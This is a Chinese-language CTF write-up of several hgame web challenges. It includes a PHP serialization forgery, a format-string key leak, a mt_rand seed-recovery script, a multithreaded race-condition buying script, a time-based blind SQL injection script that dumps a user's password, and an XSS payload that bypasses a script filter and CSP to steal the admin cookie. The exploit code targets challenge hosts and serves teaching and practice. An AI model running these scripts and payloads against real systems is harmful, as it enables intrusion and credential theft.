序列之争

官方wp:

image-20200209080311162

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __construct(){  
if(!isset($_SESSION['rank'])){
$this->Set(rand(2, 1000));
return;
}
$this->Set($_SESSION['rank']);
}
public function Set($no){
$this->rank = $no;
}
public function Get(){
return $this->rank;
}

image-20200209080433121

image-20200209080454017

image-20200209080521028

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Rank {
private $rank = 1;
private $serverKey;
private $key;
public function __construct(){
$this->key = &$this->serverKey;
}
}
$data = ['e99', 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'];
$sign = '';
foreach($data as $value){
$sign .= md5($sign . $value);
}
$rank = serialize(new Rank());
echo(base64_encode($rank . md5($rank . $sign)));

或者

1
2
3
4
5
6
7
8
9
10
11
<?php 
class Rank {
private $rank = 1;
}
$data = ['e99', 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'];
$sign = '';
foreach($data as $value){
$sign .= md5($sign . $value);
}
$rank = serialize(new Rank());
echo(base64_encode($rank . md5($rank . $sign)));

image-20200209080726351

php格式化字符串漏洞:

对于这道题目先测试普通名称

第一次循环后 $this->welcomeMsg被替换成ABC

image-20200209081330220

image-20200209081453767

第二次循环中$value的值就是秘钥,但是$welcomeMsg里面并没有%s之类的格式化符号,所以$welcomeMsg的值不变。

image-20200209081634124

想要输出秘钥就要在第二次循环里出现%s, 所以 将名字输入成%s,经过第一次循环后$welcomeMsg变成了%s,Welcome to Ordina....,这样第二次循环中就有%s,然后$welcomeMsg就被替换成了秘钥。

二发入魂

Breaking PHP’s mt_rand() with 2 values and no bruteforce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
# Breaking mt_rand() with two output values and no bruteforce.
#
"""
R = final rand value
S = merged state value
s = original state value
"""
import random
import sys
N = 624
M = 397
MAX = 0xffffffff
MOD = MAX + 1
# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)
STATE_MULT = 1812433253
STATE_MULT_INV = 2520285293
MT_RAND_MT19937 = 1
MT_RAND_PHP = 0

def php_mt_initialize(seed):
"""Creates the initial state array from a seed.
"""
state = [None] * N
state[0] = seed & 0xffffffff;
for i in range(1, N):
r = state[i-1]
state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX
return state

def _undo_php_mt_initialize(s, i):
s = (STATE_MULT_INV * (s - i)) & MAX
return s ^ s >> 30

def undo_php_mt_initialize(s, p):
"""From an initial state value `s` at position `p`, find out seed.
"""
for i in range(p, 0, -1):
s = _undo_php_mt_initialize(s, i)
return s

def php_mt_rand(s1):
"""Converts a merged state value `s1` into a random value, then sent to the user.
"""
s1 ^= (s1 >> 11)
s1 ^= (s1 << 7) & 0x9d2c5680
s1 ^= (s1 << 15) & 0xefc60000
s1 ^= (s1 >> 18)
return s

def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
s1 ^= (s1 >> 18)
s1 ^= (s1 << 15) & 0xefc60000

s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)

s1 ^= s1 >> 11
s1 ^= s1 >> 22

return s1

def undo_lshift_xor_mask(v, shift, mask):
"""r s.t. v = r ^ ((r << shift) & mask)
"""
for i in range(shift, 32, shift):
v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
return v

def bits(v, start, size):
return lobits(v >> start, size)
def lobits(v, b):
return v & ((1 << b) - 1)
def bit(v, b):
return v & (1 << b)
def bv(v, b):
return bit(v, b) >> b

def php_mt_reload(state, flavour):
s = state
for i in range(0, N - M):
s[i] = _twist_php(s[i+M], s[i], s[i+1], flavour)
for i in range(N - M, N - 1):
s[i] = _twist_php(s[i+M-N], s[i], s[i+1], flavour)

def _twist_php(m, u, v, flavour):
"""Emulates the `twist` and `twist_php` #defines.
"""
mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0
return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask

def undo_php_mt_reload(S000, S227, offset, flavour):
# m S000
# u S227
# v S228
X = S000 ^ S227

# This means the mask was applied, and as such that S227's LSB is 1
s22X_0 = bv(X, 31)
# remove mask if present
if s22X_0:
X ^= 0x9908b0df

# Another easy guess
s227_31 = bv(X, 30)
# remove bit if present
if s227_31:
X ^= 1 << 30

# We're missing bit 0 and bit 31 here, so we have to try every possibility
s228_1_30 = (X << 1)
for s228_0 in range(2):
for s228_31 in range(2):
if flavour == MT_RAND_MT19937 and s22X_0 != s228_0:
continue
s228 = s228_0 | s228_31 << 31 | s228_1_30

# Check if the results are consistent with the known bits of s227
s227 = _undo_php_mt_initialize(s228, 228)
if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0:
continue
if bv(s227, 31) != s227_31:
continue

# Check if the guessed seed yields S000 as its first scrambled state
rand = undo_php_mt_initialize(s228, 228)
state = php_mt_initialize(rand)
php_mt_reload(state, flavour)

if not S000 == state[0]:
continue

return rand
return None

def main(_R000, _R227, offset, flavour):
# Both were >> 1, so the leftmost byte is unknown
_R000 <<= 1
_R227 <<= 1
for R000_0 in range(2):
for R227_0 in range(2):
R000 = _R000 | R000_0
R227 = _R227 | R227_0
S000 = undo_php_mt_rand(R000)
S227 = undo_php_mt_rand(R227)
seed = undo_php_mt_reload(S000, S227, offset, flavour)
if seed:
print(seed)
return seed

def test_do_undo(do, undo):
for i in range(10000):
rand = random.randrange(1, MAX)
done = do(rand)
undone = undo(done)
if not rand == undone:
print(f"-- {i} ----")
print(bin(rand).rjust(34))
print(bin(undone).rjust(34))
break

def test():
test_do_undo(
php_mt_initialize,
lambda s: undo_php_mt_initialize(s[227], 227)
)
test_do_undo(
php_mt_rand,
undo_php_mt_rand
)
exit()

import requests
import json
url = "https://twoshot.hgame.n3ko.co/"
req = requests.session()
r = req.get(url+"index.php")
r = req.get(url+"random.php?times=228")
data = json.loads(r.content)
seed = main(data[0], data[len(data)-1], 0, 0)
r = req.post(url+"verify.php", data={"ans":seed})
print(r.content)

Cosmos的二手市场

条件竞争

正常买的话肯定一直赔

image-20200213081019503

在这个页面可以看到有一个获取用户信息的js方法

image-20200213085642744

在这个页面可以看到JSON格式的用户信息

image-20200213085435851

properties为每个商品的持有量

多线程快速买入,来不及减钱就买入商品

image-20200213093742201

可以看到初始余额为1485400,第一个商品10000,理论最大能买148个,然而我们可以看到一轮购买后买了一千多个

image-20200213093503531

又快速卖出,来不及减商品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import threading
import requests
import json
import time
def worker(i,data):
if i % 2 == 0:
url="{}?method=solve".format(host)
else:
url = "{}?method=buy".format(host)
try:
s.post(url=url,data=data)
except:
print("[-] Request Failed")
return

host="http://121.36.88.65:9999/API/"
user = {
"name": "roc",
"password": "123456"}

s = requests.session()
s.post(url="{}?method=login".format(host), data=user)

i=1
while True:
data={
"code": '800001',
"amount": '500'
}
info = json.loads(s.get("{}?method=getinfo".format(host)).text)
money = info['data']['money']
properties = info['data']['properties']
print(money)
print(properties)
if money > 100000000:
print(s.get("{}?method=getflag".format(host)).text)
break

if i % 2 == 0:
amount = int(properties[0]['amount'])
else:
amount = money // 10000
if amount > 500:
amount = 500
data['amount'] = amount

for j in range(30):
t = threading.Thread(target=worker,args=(i, data))
t.start()

time.sleep(5)
i += 1

这个脚本能买却卖不出去不知道为何。。

所以配合了BrupSuite来完成攻击,BrupSuite负责出售

image-20200213102530885

image-20200213102548101

image-20200213102509037

Cosmos的留言板-2

sql盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

def blindsql(part_columns,part_table="",part_where="1"):
url={
"login": "http://139.199.182.61:19999/login.php",
"action": "http://139.199.182.61:19999/index.php?method=delete&delete_id={}"
}
user = {"name": "admin1","password": "admin1","submit": "1"}
sleeptime=3
s=requests.session()
s.post(url=url['login'], data=user)

if part_table:
part_table = part_table

sqlBase = "-1 or if(({})={},sleep("+str(sleeptime) +"),0);"

# get data length
sqlGetLength = "select t.a from (select length(group_concat(concat_ws(':',{columns}))) as a {table} where {where})t".format(columns=part_columns, table=part_table, where=part_where)
length = 1
# -1 or if((select t.a from (select length(group_concat(concat_ws(':',aaaa))) as a from bbbb where 1)t)=1,sleep(3),0);
# -1 or if((select t.a from (select ascii(mid(group_concat(concat_ws(':',database())),2,1)) as a from where 1)t)=86,sleep(3),0);
while True:
req =s.get(url=url['action'].format(sqlBase).format(sqlGetLength,length))
if req.elapsed.total_seconds() >sleeptime:
tmp=url['action'].format(sqlBase).format(sqlGetLength,length)
#print(tmp)
ans="*"*length
print(ans,end="")
break
length += 1
chars=list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890:-_,")
for i in range(length):
sqlGetContent = "select t.a from (select ascii(mid(group_concat(concat_ws(':',{columns})),{num},1)) as a {table} where {where})t".format(columns=part_columns, num=str(i+1), table=part_table,where=part_where)
for j in range(len(chars)):
char=str(ord(chars[j]))
req = s.get(url=url['action'].format(sqlBase).format(sqlGetContent,char))
print(url['action'].format(sqlBase).format(sqlGetContent,char))
if req.elapsed.total_seconds() >sleeptime:
ans = list(ans)
ans[i] = chars[j]
ans = "".join(ans)
print("\r"+ans,end="")
break



blindsql("database()")
blindsql("table_name", "information_schema.tables", "table_schema='babysql'")

#注出当前所有表名 messages,user
#
# #blindsql("column_name", "information_schema.columns", "table_schema =database() and table_name='user'")
# #注出user表额字段名 id,name,password
# #blindsql("name,password","user","name='cosmos'")
# #注出cosmos的密码cosmos:f1FXOCnj26Fkadzt4Sqynf6O7CgR#注出密码后登录cosmos的账号即可拿到flag#先随便留条言再用此脚本

Cosmos的聊天室

CSP

CSP详解

script被过滤了一次,双写绕过

</span><scscriptript>alert(document.cookie)</scrscriptipt><span>提交查看页面源代码

image-20200214225947230

但是却没有被触发,F12看一下

image-20200214231030201

说明被CSP(Content Security Policy)拦截了

image-20200214230121926

CSP为: default-src 'self'; script-src 'self'

default-src

default-src 指令定义了那些没有被更精确指令指定的(默认)安全策略。该指令包含了以下指令:

child-src
connect-src
font-src
img-src
media-src
object-src
script-src
style-src

script-src

The script-src directive specifies valid sources for JavaScript. When either the script-src or the default-src directive is included, inline script and eval() are disabled unless you specify ‘unsafe-inline’ and ‘unsafe-eval’, respectively.
Note: If this directive is absent the user agent will look for the default-src directive.

self代表和文档同源,包括相同的 URL 协议和端口号。

它限制了内联 JS 脚本,并且限制了引入的静态资源文件只能从同域下加载。在实际应用中,遇到这种CSP 一般是找该站是否有文件上传点,上传一个内容为alert(/xss/)的图片再引用,也可以同源下有没有可以执行任意 JS 代码的 evil.js 文件。本题中有一个接口/send,它会返回过滤后的消息内容,我们可以利用这个接口,在一次 send 中再引入一次 send,向它传入参数,将它作为 JS 文件引入,即

<scriscriptpt src="/send?message=alert(1)"></scscriptript>

⻚面成功弹窗,之后将JS 内容换成 XSS 平台的接收代码,或者 VPS 上的接收代码接收管理员 Cookie 即可.